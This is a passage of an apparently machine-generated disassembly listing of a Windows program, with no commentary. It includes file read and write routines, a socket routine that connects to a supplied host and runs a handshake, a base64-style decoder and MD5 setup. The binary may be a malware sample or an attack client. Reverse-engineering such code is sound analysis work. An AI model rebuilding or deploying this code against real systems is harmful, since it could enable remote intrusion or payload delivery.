		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		jmp	short loc_40A460
; ---------------------------------------------------------------------------


loc_40A458:				; CODE XREF: rdata:0040A44Dj
		push	dword ptr [ebp+8]
		call	sub_40A31A


loc_40A460:				; CODE XREF: rdata:0040A456j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		push	0
		push	80h
		push	4
		push	0
		push	3
		push	40000000h
		push	dword ptr [ebp+8]
		call	sub_40A110
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A4BA
		mov	[ebp-4], eax
		push	0
		push	0
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp-4]
		call	sub_40A206
		push	0
		push	esp
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp-4]
		call	sub_40A242
		push	dword ptr [ebp-4]
		call	sub_40A0FE


loc_40A4BA:				; CODE XREF: rdata:0040A48Dj
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	10h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		mov	ebx, 0FFFFFFFFh
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		push	dword ptr [ebp+8]
		call	sub_40A110
		mov	[ebp-4], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40A540
		push	0
		push	dword ptr [ebp-4]
		call	sub_40A176
		mov	[ebp-8], eax
		push	40h
		push	1000h
		push	dword ptr [ebp-8]
		push	0
		call	sub_40A22A
		or	eax, eax
		jz	short loc_40A540
		mov	edi, eax
		or	eax, eax
		jz	short loc_40A540
		mov	ecx, [ebp+0Ch]
		mov	[ecx], edi
		push	0
		push	esp
		push	dword ptr [ebp-8]
		push	edi
		push	dword ptr [ebp-4]
		call	sub_40A1E8
		push	dword ptr [ebp-4]
		call	sub_40A0FE
		mov	ecx, [ebp+10h]
		mov	eax, [ebp-8]
		mov	[ecx], eax
		inc	ebx
		jmp	short $+2


loc_40A540:				; CODE XREF: rdata:0040A4EFj
					; rdata:0040A511j ...
		mov	eax, ebx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 10h
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFB48h
		push	edi
		push	esi
		push	ebx
		mov	ebx, 0FFFFFFFFh
		lea	eax, [ebp-260h]
		push	eax
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	1000000h
		call	sub_40AD10
		cmp	eax, 0FFFFFFFFh
		jz	loc_40A66F
		cmp	eax, 6
		jz	loc_40A66F
		mov	[ebp-25Ch], eax
		push	offset dword_4189F8
		push	offset dword_4188C4
		call	sub_40A25A
		push	0
		push	258h
		lea	eax, [ebp-258h]
		push	eax
		call	sub_40A3A4
		lea	eax, [ebp-258h]
		mov	byte ptr [eax],	40h
		inc	eax
		push	eax
		push	offset dword_4188C0
		push	offset dword_4188C4
		call	sub_40A680
		lea	eax, [ebp-258h]
		inc	eax
		push	dword ptr [ebp-260h]
		push	eax
		push	0F0h
		call	sub_40DC90
		lea	eax, [ebp-4B8h]
		push	eax
		push	26h
		push	0F1h
		lea	eax, [ebp-258h]
		push	eax
		call	sub_40F330
		push	0
		push	ecx
		lea	eax, [ebp-4B8h]
		push	eax
		push	dword ptr [ebp-25Ch]
		call	sub_40A338
		push	0
		push	258h
		lea	eax, [ebp-4B8h]
		push	eax
		push	dword ptr [ebp-25Ch]
		call	sub_40A32C
		push	eax
		lea	eax, [ebp-4B8h]
		push	eax
		call	sub_40F390
		cmp	edx, 26h
		jnz	short loc_40A64D
		cmp	ecx, 1
		jnz	short loc_40A64D
		mov	ebx, 1
		jmp	short loc_40A652
; ---------------------------------------------------------------------------


loc_40A64D:				; CODE XREF: rdata:0040A63Fj
					; rdata:0040A644j
		mov	ebx, 0FFFFFFFFh


loc_40A652:				; CODE XREF: rdata:0040A64Bj
		push	dword ptr [ebp-25Ch]
		call	sub_40A2FC
		push	8000h
		push	0
		push	dword ptr [ebp-260h]
		call	sub_40A230


loc_40A66F:				; CODE XREF: rdata:0040A57Ej
					; rdata:0040A587j
		mov	eax, ebx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		dd 24A48Dh, 90000000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A680	proc near		; CODE XREF: rdata:0040A5CAp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		push	[ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		call	sub_40A6A0
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_40A680	endp

; ---------------------------------------------------------------------------
		db 5
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6A0	proc near		; CODE XREF: sub_40A680+Fp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	esi
		mov	[ebp+var_18], edx
		mov	[ebp+var_14], ecx
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 20h
		mov	[ebp+var_B], 0Dh
		mov	[ebp+var_A], 0Ah
		mov	[ebp+var_9], 3Dh


loc_40A6C4:				; CODE XREF: sub_40A6A0+57j
		mov	[ebp+var_8], 0
		jmp	short loc_40A6D6
; ---------------------------------------------------------------------------


loc_40A6CD:				; CODE XREF: sub_40A6A0:loc_40A6F9j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_40A6D6:				; CODE XREF: sub_40A6A0+2Bj
		cmp	[ebp+var_8], 4
		jnb	short loc_40A6FB
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+var_8]
		movsx	ecx, [ebp+eax+var_C]
		cmp	edx, ecx
		jnz	short loc_40A6F9
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_40A6C4
; ---------------------------------------------------------------------------


loc_40A6F9:				; CODE XREF: sub_40A6A0+4Cj
		jmp	short loc_40A6CD
; ---------------------------------------------------------------------------


loc_40A6FB:				; CODE XREF: sub_40A6A0+3Aj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_40A70A
		jmp	loc_40A8CD
; ---------------------------------------------------------------------------


loc_40A70A:				; CODE XREF: sub_40A6A0+63j
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+1]
		test	eax, eax
		jnz	short loc_40A71A
		jmp	loc_40A8CD
; ---------------------------------------------------------------------------


loc_40A71A:				; CODE XREF: sub_40A6A0+73j
		mov	ecx, [ebp+arg_0]
		mov	cl, [ecx]
		call	sub_40A950
		mov	esi, eax
		mov	edx, [ebp+arg_0]
		mov	cl, [edx+1]
		call	sub_40A950
		shl	eax, 6
		add	esi, eax
		mov	eax, [ebp+var_18]
		mov	[eax], esi
		mov	ecx, [ebp+arg_0]
		add	ecx, 2
		mov	[ebp+arg_0], ecx


loc_40A744:				; CODE XREF: sub_40A6A0:loc_40A8C8j
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	loc_40A8CD
		mov	[ebp+var_8], 0
		jmp	short loc_40A764
; ---------------------------------------------------------------------------


loc_40A75B:				; CODE XREF: sub_40A6A0:loc_40A78Aj
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_40A764:				; CODE XREF: sub_40A6A0+B9j
		cmp	[ebp+var_8], 4
		jnb	short loc_40A78C
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+var_8]
		movsx	edx, [ebp+ecx+var_C]
		cmp	eax, edx
		jnz	short loc_40A78A
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	loc_40A8C8
; ---------------------------------------------------------------------------


loc_40A78A:				; CODE XREF: sub_40A6A0+DAj
		jmp	short loc_40A75B
; ---------------------------------------------------------------------------


loc_40A78C:				; CODE XREF: sub_40A6A0+C8j
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx]
		mov	[ebp+var_19], dl
		mov	cl, [ebp+var_19]
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		call	sub_40A950
		mov	byte ptr [ebp+var_4], al
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_10]
		cmp	edx, [ecx]
		jnb	short loc_40A7D8
		mov	eax, [ebp+var_4]
		and	eax, 0FFh
		and	eax, 1
		push	eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_20]
		mov	ecx, [ebp+var_14]
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax
		call	sub_40A8E0


loc_40A7D8:				; CODE XREF: sub_40A6A0+110j
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_10]
		cmp	edx, [ecx]
		jnb	short loc_40A808
		mov	eax, [ebp+var_4]
		and	eax, 0FFh
		and	eax, 2
		push	eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_24]
		mov	ecx, [ebp+var_14]
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax
		call	sub_40A8E0


loc_40A808:				; CODE XREF: sub_40A6A0+140j
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_10]
		cmp	edx, [ecx]
		jnb	short loc_40A838
		mov	eax, [ebp+var_4]
		and	eax, 0FFh
		and	eax, 4
		push	eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+var_28]
		mov	ecx, [ebp+var_14]
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax
		call	sub_40A8E0


loc_40A838:				; CODE XREF: sub_40A6A0+170j
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_10]
		cmp	edx, [ecx]
		jnb	short loc_40A868
		mov	eax, [ebp+var_4]
		and	eax, 0FFh
		and	eax, 8
		push	eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_2C]
		mov	ecx, [ebp+var_14]
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax
		call	sub_40A8E0


loc_40A868:				; CODE XREF: sub_40A6A0+1A0j
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_10]
		cmp	edx, [ecx]
		jnb	short loc_40A898
		mov	eax, [ebp+var_4]
		and	eax, 0FFh
		and	eax, 10h
		push	eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_30]
		mov	ecx, [ebp+var_14]
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax
		call	sub_40A8E0


loc_40A898:				; CODE XREF: sub_40A6A0+1D0j
		mov	ecx, [ebp+var_18]
		mov	edx, [ebp+var_10]
		cmp	edx, [ecx]
		jnb	short loc_40A8C8
		mov	eax, [ebp+var_4]
		and	eax, 0FFh
		and	eax, 20h
		push	eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_34]
		mov	ecx, [ebp+var_14]
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax
		call	sub_40A8E0


loc_40A8C8:				; CODE XREF: sub_40A6A0+E5j
					; sub_40A6A0+200j
		jmp	loc_40A744
; ---------------------------------------------------------------------------


loc_40A8CD:				; CODE XREF: sub_40A6A0+65j
					; sub_40A6A0+75j ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40A6A0	endp

; ---------------------------------------------------------------------------
		dd 24A48Dh, 5000000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8E0	proc near		; CODE XREF: sub_40A6A0+133p
					; sub_40A6A0+163p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], edx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_C]
		shr	eax, 3
		mov	ecx, [ebp+var_8]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 8
		div	ecx
		mov	ecx, edx
		mov	edx, 1
		shl	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		and	cl, dl
		mov	edx, [ebp+var_4]
		mov	[edx], cl
		cmp	[ebp+arg_0], 0
		jz	short loc_40A944
		mov	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 8
		div	ecx
		mov	ecx, edx
		mov	edx, 1
		shl	edx, cl
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		or	cl, dl
		mov	edx, [ebp+var_4]
		mov	[edx], cl


loc_40A944:				; CODE XREF: sub_40A8E0+41j
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40A8E0	endp

; ---------------------------------------------------------------------------
		dw 9B8Dh
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A950	proc near		; CODE XREF: sub_40A6A0+7Fp
					; sub_40A6A0+8Cp ...

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], cl
		movsx	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		sub	ecx, 2Bh
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_8], 4Fh
		ja	loc_40ABC4
		mov	edx, [ebp+var_8]
		jmp	dword ptr ds:loc_4087C6+4[edx*4]
; ---------------------------------------------------------------------------
		db 33h,	0C0h, 0E9h
		dd 242h, 1B8h, 238E900h, 2B80000h, 0E9000000h, 22Eh, 3B8h
		dd 224E900h, 4B80000h, 0E9000000h, 21Ah, 5B8h, 210E900h
		dd 6B80000h, 0E9000000h, 206h, 7B8h, 1FCE900h, 8B80000h
		dd 0E9000000h, 1F2h, 9B8h, 1E8E900h, 0AB80000h,	0E9000000h
		dd 1DEh, 0BB8h,	1D4E900h, 0CB80000h, 0E9000000h, 1CAh
		dd 0DB8h, 1C0E900h, 0EB80000h, 0E9000000h, 1B6h, 0FB8h
		dd 1ACE900h, 10B80000h,	0E9000000h, 1A2h, 11B8h, 198E900h
		dd 12B80000h, 0E9000000h, 18Eh,	13B8h, 184E900h, 14B80000h
		dd 0E9000000h, 17Ah, 15B8h, 170E900h, 16B80000h, 0E9000000h
		dd 166h, 17B8h,	15CE900h, 18B80000h, 0E9000000h, 152h
		dd 19B8h, 148E900h, 1AB80000h, 0E9000000h, 13Eh, 1BB8h
		dd 134E900h, 1CB80000h,	0E9000000h, 12Ah, 1DB8h, 120E900h
		dd 1EB80000h, 0E9000000h, 116h,	1FB8h, 10CE900h, 20B80000h
		dd 0E9000000h, 102h, 21B8h, 0F8E900h, 22B80000h, 0E9000000h
		dd 0EEh, 23B8h,	0E4E900h, 24B80000h, 0E9000000h, 0DAh
		dd 25B8h, 0D0E900h, 26B80000h, 0E9000000h, 0C6h, 27B8h
		dd 0BCE900h, 28B80000h,	0E9000000h, 0B2h, 29B8h, 0A8E900h
		dd 2AB80000h, 0E9000000h, 9Eh, 2BB8h, 94E900h, 2CB80000h
		dd 0E9000000h, 8Ah, 2DB8h, 80E900h, 2EB80000h, 0EB000000h
		dd 2FB879h, 72EB0000h, 30B8h, 0B86BEB00h, 31h, 32B864EBh
		dd 0EB000000h, 33B85Dh,	56EB0000h, 34B8h, 0B84FEB00h, 35h
		dd 36B848EBh, 0EB000000h, 37B841h, 3AEB0000h, 38B8h, 0B833EB00h
		dd 39h,	3AB82CEBh, 0EB000000h, 3BB825h,	1EEB0000h, 3CB8h
		dd 0B817EB00h, 3Dh, 3EB810EBh, 0EB000000h, 3FB809h, 2EB0000h
; ---------------------------------------------------------------------------


loc_40ABC4:				; CODE XREF: sub_40A950+1Dj
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_40A950	endp

; ---------------------------------------------------------------------------
		dd offset loc_4087B6
		dd offset loc_4087C4
		dd offset loc_4087BC+1
		dd offset loc_4087C4
		dd offset loc_4087C4
		dd offset loc_408579+4
		dd offset loc_408584
		dd offset loc_40858E
		dd offset loc_408594+4
		dd offset loc_40859E+4
		dd offset loc_4085AC
		dd offset loc_4085B3+3
		dd offset loc_4085BF+1
		dd offset loc_4085C9+1
		dd offset loc_4085D2+2
		dd offset loc_4087C4
		dd offset loc_4087C4
		dd offset loc_4087C4
		dd offset loc_4087C4
		dd offset loc_4087C4
		dd offset loc_4087C4
		dd offset loc_4087C4
		dd offset loc_4086E2
		dd offset loc_4086E8+4
		dd offset loc_4086F5+1
		dd offset loc_4086FD+3
		dd offset loc_408709+1
		dd offset loc_408712+2
		dd offset loc_408718+6
		dd offset loc_408726+2
		dd offset loc_408730+2
		dd offset loc_408739+3
		dd offset loc_408746
		dd offset loc_40874C+1
		dd offset loc_408753+1
		dd offset loc_40875B
		dd offset loc_408762
		dd offset loc_408769
		dd offset loc_40876C+4
		dd offset loc_408775+2
		dd offset loc_40877C+2
		dd offset loc_408783+2
		dd offset loc_408788+4
		dd offset loc_40878F+4
		dd offset loc_408797+3
		dd offset loc_4087A1
		dd offset loc_4087A6+2
		dd offset loc_4087AE+1
		dd offset loc_4087C4
		dd offset loc_4087C4
		dd offset loc_4087C4
		dd offset loc_4087C4
		dd offset loc_4087C4
		dd offset loc_4087C4
		dd offset loc_4085DE
		dd offset loc_4085E8
		dd offset loc_4085EF+3
		dd offset loc_4085FC
		dd offset loc_408604+2
		dd offset loc_40860C+4
		dd offset loc_408618+2
		dd offset loc_408622+2
		dd offset loc_40862D+1
		dd offset loc_408635+3
		dd offset loc_408642
		dd offset loc_408649+3
		dd offset loc_408656
		dd offset loc_408660
		dd offset loc_408668+2
		dd offset loc_408673+1
		dd offset loc_408678+6
		dd offset loc_408686+2
		dd offset loc_40868C+6
		dd offset loc_408696+6
		dd offset loc_4086A4+2
		dd offset loc_4086B0
		dd offset loc_4086B7+3
		dd offset loc_4086C4
		dd offset loc_4086CC+2
		dd offset loc_4086D4+4
		dw 9B8Dh
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD10	proc near		; CODE XREF: rdata:0040A576p

var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF90h
		push	edi
		push	esi
		push	ebx
		mov	ebx, 0FFFFFFFFh
		push	40h
		push	1000h
		push	3000h
		push	0
		call	sub_40A22A
		mov	[ebp+var_70], eax
		push	0
		push	50h
		lea	eax, [ebp+var_64]
		push	eax
		call	sub_40A3A4
		call	sub_40A3BC
		mov	[ebp+var_14], eax
		cmp	[ebp+arg_C], 0
		jz	short loc_40AD5C
		push	[ebp+var_14]
		push	[ebp+arg_C]
		call	sub_40A350
		jmp	short loc_40AD64
; ---------------------------------------------------------------------------


loc_40AD5C:				; CODE XREF: sub_40AD10+3Dj
		push	[ebp+var_14]
		call	sub_40F450


loc_40AD64:				; CODE XREF: sub_40AD10+4Aj
		push	0
		push	1
		push	2
		call	sub_40A34A
		cmp	eax, 0FFFFFFFFh
		jz	loc_40AF30
		mov	[ebp+var_6C], eax
		mov	[ebp+var_10], 2
		push	[ebp+arg_8]
		call	sub_40A314
		mov	[ebp+var_E], ax
		push	[ebp+arg_4]
		call	sub_40A308
		or	eax, eax
		jz	short loc_40ADA2
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		jmp	short loc_40ADAA
; ---------------------------------------------------------------------------


loc_40ADA2:				; CODE XREF: sub_40AD10+87j
		push	[ebp+arg_4]
		call	sub_40A31A


loc_40ADAA:				; CODE XREF: sub_40AD10+90j
		cmp	eax, 0FFFFFFFFh
		jz	loc_40AF30
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	[ebp+var_6C]
		call	sub_40A302
		cmp	eax, 0FFFFFFFFh
		jz	loc_40AF30
		push	[ebp+var_70]
		push	1Bh
		push	0
		push	0
		call	sub_40F330
		push	0
		push	ecx
		push	[ebp+var_70]
		push	[ebp+var_6C]
		call	sub_40A338
		cmp	eax, 0FFFFFFFFh
		jz	loc_40AF30
		push	0
		push	300h
		push	[ebp+var_70]
		push	[ebp+var_6C]
		call	sub_40A32C
		mov	esi, eax
		push	eax
		push	[ebp+var_70]
		call	sub_40F390
		lea	eax, [edx+eax]
		add	esi, eax
		cmp	esi, 45h
		jnz	loc_40AF30
		mov	esi, [ebp+var_70]
		add	esi, 0Ah
		push	ecx
		push	esi
		lea	eax, [ebp+var_64]
		push	eax
		call	sub_40A3DC
		push	[ebp+var_14]
		lea	eax, [ebp+var_64]
		push	eax
		push	20h
		call	sub_40DC90
		lea	eax, [ebp+var_64]
		push	eax
		call	sub_40F400
		push	[ebp+var_70]
		push	9
		push	20h
		lea	eax, [ebp+var_64]
		push	eax
		call	sub_40F330
		push	0
		push	ecx
		push	[ebp+var_70]
		push	[ebp+var_6C]
		call	sub_40A338
		cmp	eax, 0FFFFFFFFh
		jz	loc_40AF30
		push	0
		push	3000h
		push	[ebp+var_70]
		push	[ebp+var_6C]
		call	sub_40A32C
		mov	esi, eax
		push	eax
		push	[ebp+var_70]
		call	sub_40F390
		lea	eax, [edx+eax]
		add	esi, eax
		cmp	esi, 14h
		jnz	loc_40AF30
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_68], eax
		push	[ebp+var_70]
		push	1Ah
		push	4
		lea	eax, [ebp+var_68]
		push	eax
		call	sub_40F330
		push	0
		push	ecx
		push	[ebp+var_70]
		push	[ebp+var_6C]
		call	sub_40A338
		push	0
		push	3000h
		push	[ebp+var_70]
		push	[ebp+var_6C]
		call	sub_40A32C
		push	eax
		push	[ebp+var_70]
		call	sub_40F390
		cmp	edx, 1Ah
		jnz	short loc_40AEFE
		push	8000h
		push	0
		push	[ebp+var_70]
		call	sub_40A230
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		mov	eax, [ebp+var_6C]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
; ---------------------------------------------------------------------------
		db 0EBh, 32h
; ---------------------------------------------------------------------------


loc_40AEFE:				; CODE XREF: sub_40AD10+1C9j
		push	8000h
		push	0
		push	[ebp+var_70]
		call	sub_40A230
		push	8000h
		push	0
		push	[ebp+var_14]
		call	sub_40A230
		push	[ebp+var_6C]
		call	sub_40A2FC
		mov	eax, 6
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
; ---------------------------------------------------------------------------


loc_40AF30:				; CODE XREF: sub_40AD10+62j
					; sub_40AD10+9Dj ...
		push	8000h
		push	0
		push	[ebp+var_14]
		call	sub_40A230
		push	8000h
		push	0
		push	[ebp+var_70]
		call	sub_40A230
		push	[ebp+var_6C]
		call	sub_40A2FC
		mov	eax, ebx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
sub_40AD10	endp

; ---------------------------------------------------------------------------
		db 0CCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF60	proc near		; CODE XREF: sub_4049A0+5Ap
					; sub_404A80+40p ...

var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 60h
		mov	[ebp+var_60], edx
		mov	[ebp+var_5C], ecx
		lea	ecx, [ebp+var_58]
		call	sub_40AF94
		mov	eax, [ebp+var_60]
		push	eax
		mov	edx, [ebp+var_5C]
		lea	ecx, [ebp+var_58]
		call	sub_40AFDA
		lea	edx, [ebp+var_58]
		mov	ecx, [ebp+arg_0]
		call	sub_40B0E1
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40AF60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF94	proc near		; CODE XREF: sub_40AF60+Fp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+14h], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+10h], 0
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 67452301h
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+8], 98BADCFEh
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+0Ch], 10325476h
		mov	esp, ebp
		pop	ebp
		retn
sub_40AF94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFDA	proc near		; CODE XREF: sub_40AF60+1Ep
					; sub_40B0E1+5Cp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+10h]
		shr	ecx, 3
		and	ecx, 3Fh
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx+10h]
		mov	ecx, [ebp+arg_0]
		lea	edx, [eax+ecx*8]
		mov	eax, [ebp+var_10]
		mov	[eax+10h], edx
		mov	ecx, [ebp+arg_0]
		shl	ecx, 3
		mov	edx, [ebp+var_10]
		cmp	[edx+10h], ecx
		jnb	short loc_40B026
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+var_10]
		mov	[edx+14h], ecx


loc_40B026:				; CODE XREF: sub_40AFDA+3Bj
		mov	eax, [ebp+arg_0]
		shr	eax, 1Dh
		mov	ecx, [ebp+var_10]
		mov	edx, [ecx+14h]
		add	edx, eax
		mov	eax, [ebp+var_10]
		mov	[eax+14h], edx
		mov	ecx, 40h
		sub	ecx, [ebp+var_C]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		cmp	edx, [ebp+var_8]
		jb	short loc_40B0AE
		mov	ecx, [ebp+var_8]
		mov	esi, [ebp+var_14]
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_10]
		lea	edi, [edx+eax+18h]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edx, [ebp+var_10]
		add	edx, 18h
		mov	ecx, [ebp+var_10]
		call	sub_40B215
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_4], ecx
		jmp	short loc_40B08A
; ---------------------------------------------------------------------------


loc_40B081:				; CODE XREF: sub_40AFDA+C9j
		mov	edx, [ebp+var_4]
		add	edx, 40h
		mov	[ebp+var_4], edx


loc_40B08A:				; CODE XREF: sub_40AFDA+A5j
		mov	eax, [ebp+var_4]
		add	eax, 3Fh
		cmp	eax, [ebp+arg_0]
		jnb	short loc_40B0A5
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		call	sub_40B215
		jmp	short loc_40B081
; ---------------------------------------------------------------------------


loc_40B0A5:				; CODE XREF: sub_40AFDA+B9j
		mov	[ebp+var_C], 0
		jmp	short loc_40B0B5
; ---------------------------------------------------------------------------


loc_40B0AE:				; CODE XREF: sub_40AFDA+71j
		mov	[ebp+var_4], 0


loc_40B0B5:				; CODE XREF: sub_40AFDA+D2j
		mov	ecx, [ebp+arg_0]
		sub	ecx, [ebp+var_4]
		mov	esi, [ebp+var_14]
		add	esi, [ebp+var_4]
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_10]
		lea	edi, [eax+edx+18h]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40AFDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0E1	proc near		; CODE XREF: sub_40AF60+29p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
